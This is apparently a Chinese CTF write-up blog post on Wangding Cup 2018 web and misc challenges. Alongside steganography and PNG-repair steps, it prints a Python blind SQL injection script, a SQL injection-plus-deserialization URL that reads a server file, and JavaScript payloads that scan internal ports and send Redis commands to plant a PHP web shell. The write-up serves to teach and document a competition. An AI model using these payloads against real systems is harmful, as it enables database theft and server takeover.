网鼎杯2018第一场WEB&Misc WP

网鼎杯2018第一场WEB&Misc WP

深感CTF对WEB的恶意,WEB狗没有出路啊!!!一开始0 WEB 7 PWN,两个WEB最后才放出来,MISC的题目,脑洞又有点大,Crypto感觉无解,总之被锤爆==、

WEB

facebook

解题思路

注册登陆用户

发现可以点击,跳转到
http://bae5d1e77d0948db94689fd87a2bc01880521f8e11c042b2.game.ichunqiu.com/view.php?no=1

简单判断是注入点
之后检测过滤select,可以用/*!select*/绕过。

判断列数时,发现
http://bae5d1e77d0948db94689fd87a2bc01880521f8e11c042b2.game.ichunqiu.com/view.php ?no=0 union/*!select*/ 1,2,3,4 #

Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31

相当于有提示:反序列化

于是可以sql注入(布尔盲注)

# -*- coding: utf-8 -*-
import requests
url='http://bae5d1e77d0948db94689fd87a2bc01880521f8e11c042b2.game.ichunqiu.com/view.php?no='

def check(payload):
data=url+payload
r=requests.get(data).content
#print r
return "www.baidu.com" in r

flag=''
s=r'1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@_:{}";\',\.'
for i in range(1,99):
for c in s:
# payload="if((substr((select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),%d,1)='%s'),1,0)"%(i,c)
## no,username,passwd,data
payload="if((substr((select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1)='%s'),1,0)"%(i,c)
## nousernamepasswd
# payload="if((substr((select data from users),%d,1)='%s'),1,0)"%(i,c)
#print payload
if check(payload):
#print c
flag+=c
break
print flag
## O:8:"userinfo":3:{s:4:"name";s:3:"v0w";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}


读出data是反序列化后的数据O:8:"userinfo":3:{s:4:"name";s:3:"v0w";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

view.php会显示the contents of his/her blog

构造

http://bae5d1e77d0948db94689fd87a2bc01880521f8e11c042b2.game.ichunqiu.com/view.php
?no=0 union /*!select*/ 1,2,3,'O:8:"userinfo":3:{s:4:"name";s:3:"v0w";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' #

查看页面源代码

<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s2MDA3NGYyNS00NTJkLTRlMTctYTE3NC05Zjc4NzFiMGY2ZGF9IjsNCmV4aXQoMCk7DQo='>

解码得到flag:

<?php
$flag = "flag{60074f25-452d-4e17-a174-9f7871b0f6da}";
exit(0);

flag

flag{60074f25-452d-4e17-a174-9f7871b0f6da}

知识点

SQL盲注,反序列化

Misc

clip

Winhex打开,搜索idat

发现有PNG
mark

继续查找发现还有一张,但是缺少文件头
mark

补充文件头,提取两张png文件,
mark

mark

然后发现图片内容有点错位,剪切开来
mark

mark

mark

mark

PS修复,修复完这样的 F**K
mark


以下为补充的正确的做法:
mark

噪声套路是每隔多少字节会加一个XX XX XX XX 78 01 01 00 04 FF FB(这里纠正一下原文的代码)

所以只要将这些字节(11B)删除即可。
mark

结果:
mark
非常nice

minified

解压出来是一张图片,像马赛克一样
mark

让我想到了TJCTF的一道隐写题:
原题链接
解题思路

那个题是两张图片,做一些运算IMG1 ^ SUB(IMG1,IMG2),得到flag的图片

但是这个只有一张图片,
又看到位深32,想到了可能和透明度,alpha通道有关,于是StegoSlove 提取了alpha0-7通道,然后又提取了blue0-7通道图像,green0-7通道图像,发现red0是没有图像的,怀疑red不是,暂时舍弃。

将得到的图像与alpha通道图像之间比较,异或,发现green0^alpha0得到flag
green0
mark
alpha0
mark
alpha0^green0=flag
mark


以下是官方WP发出后,补充学习的

WEB

Spider

hint:动态爬虫,Redis Getshell。8000端口存在apache2

这么多hint,都没做出来 emmmm 太菜了==、

mark

搜集信息,看到爬虫,查看robots.txt
果然有东西

User-agent: *
Disallow: /get_sourcecode

但是不允许直接读:

NOT 127.0.0.1

想XFF,但是没用

这是回到index,发现还有个上传,难道还有上传漏洞
上传小马,无果,

去了解一下动态爬虫

简单来说就是模拟人对浏览器的动作,可以用代码打开你的浏览器然后像人一样操作实现浏览器的自动化(打开网页、输入文字、提交表单等),安装等详细介绍在官方文档中有介绍。
也就是说,会执行网页中嵌入的js代码。

有点像XSS,执行js代码,上传一个就XSS-js,发现弹窗了,nice,说明猜测正确。

接下来就是构造js代码,读取文件

<!DOCTYPE html>
<html>
<a id='test' href=""></a>
<script src="http://127.0.0.1/vendor/jquery-1.11.1.min.js"></script>
<script type="text/javascript">
$.get("http://127.0.0.1/get_sourcecode",function(data){
document.getElementById("test").innerHTML=data;
});

</script>
</html>

得到源码
mark

#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from flask import Flask, request
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__ , static_url_path='')

def proc_shell(cmd):
out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
fileno = out_temp.fileno()
proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
start_time = time.time()
while True:
if proc.poll() == None:
if time.time() - start_time > 30:
proc.terminate()
proc.kill()
proc.communicate()
out_temp.seek(0)
out_temp.close()
return
else:
time.sleep(1)
else:
proc.communicate()
out_temp.seek(0)
data = out_temp.read()
out_temp.close()
return data

def casperjs_html(url):
cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
cmd = cmd.split(' ')
stdout = proc_shell(cmd)
try:
result = json.loads(stdout)
links = result.get('resourceRequestUrls')
return links
except Exception, e:
return []

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
f = request.files['file']
filename = str(uuid.uuid1()) + '.html'
basepath = os.path.dirname(__file__)
upload_path = os.path.join(basepath, 'static/upload/', filename)
content = f.read()
#hint
if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
return render_template('index.html', msg=u'Warning: 发现恶意关键字')
#hint
with open(upload_path, 'w') as f:
f.write(content)
url = 'http://127.0.0.1:80/upload/'+filename
links = casperjs_html(url)
links = '\n'.join(links)
if not links:
links = 'NULL'
links = 'URL: '+url+'\n'+links
return render_template('index.html', links=links)

@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
if request.method == 'GET':
ip = request.remote_addr
if ip != '127.0.0.1':
return 'NOT 127.0.0.1'
else:
with open(os.path.dirname(__file__)+'/run.py') as f:
code = f.read()
return code
else:
return ''

@app.errorhandler(404)
def page_not_found(error):
return '404'

@app.errorhandler(500)
def internal_server_error(error):
return '500'

@app.errorhandler(403)
def unauthorized(error):
return '403'

if __name__ == '__main__':
pass

但是我也没看出什么来。。。
比赛当时,我就做到这。接下来是表哥的操作了。。。


可以用同样的方法得到服务器端口,代码如下

<a id="result"></a>
<script>
var data = document.getElementById('result').innerHTML;
var TagName = document.getElementsByTagName("body")[0];
ports=[80,81,88,6379,8000,8080,8088];
for(var i in ports){
var script = document.createElement("script");
poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;"
script.setAttribute("src","http://127.0.0.1:" + ports[i]);
script.setAttribute("onload", poc);
TagName.appendChild(script);
}
</script>

mark

得到8000端口开放着,猜测是apache2等phpserver

构造一个Redis EXP。

<a href="" id="flag">test</a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
xmlHttp = new XMLHttpRequest();
}
else{
xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}

var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell.php"+"\n"+'set 1 "\n\n<?php header(\'Access-Control-Allow-Origin:*\'); echo file_get_contents($_GET[_]);?>\n\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>

因为不同端口,所以存在跨域,需要加上Access-Control-Allow-Origin:* 头部。(或者直接PHP反弹SHELL也可以)然后再构造一个HTML。

<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
var xmlhttp;
if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("flag").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("GET","http://127.0.0.1:8000/shell.php?_=flag.php",true);
xmlhttp.send();
}
loadXMLDoc();
</script>

但是我没有获得flag,所以还需要研究。

参考链接

  1. 2018网鼎杯Web题解
  2. i春秋微信公众号-网鼎杯第一场spider题详细writeup
文章作者: V0WKeep3r
文章链接: http://v0w.top/2018/08/20/%E7%BD%91%E9%BC%8E%E6%9D%AF2018%E7%AC%AC%E4%B8%80%E5%9C%BAWEB&Misc%20WP/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏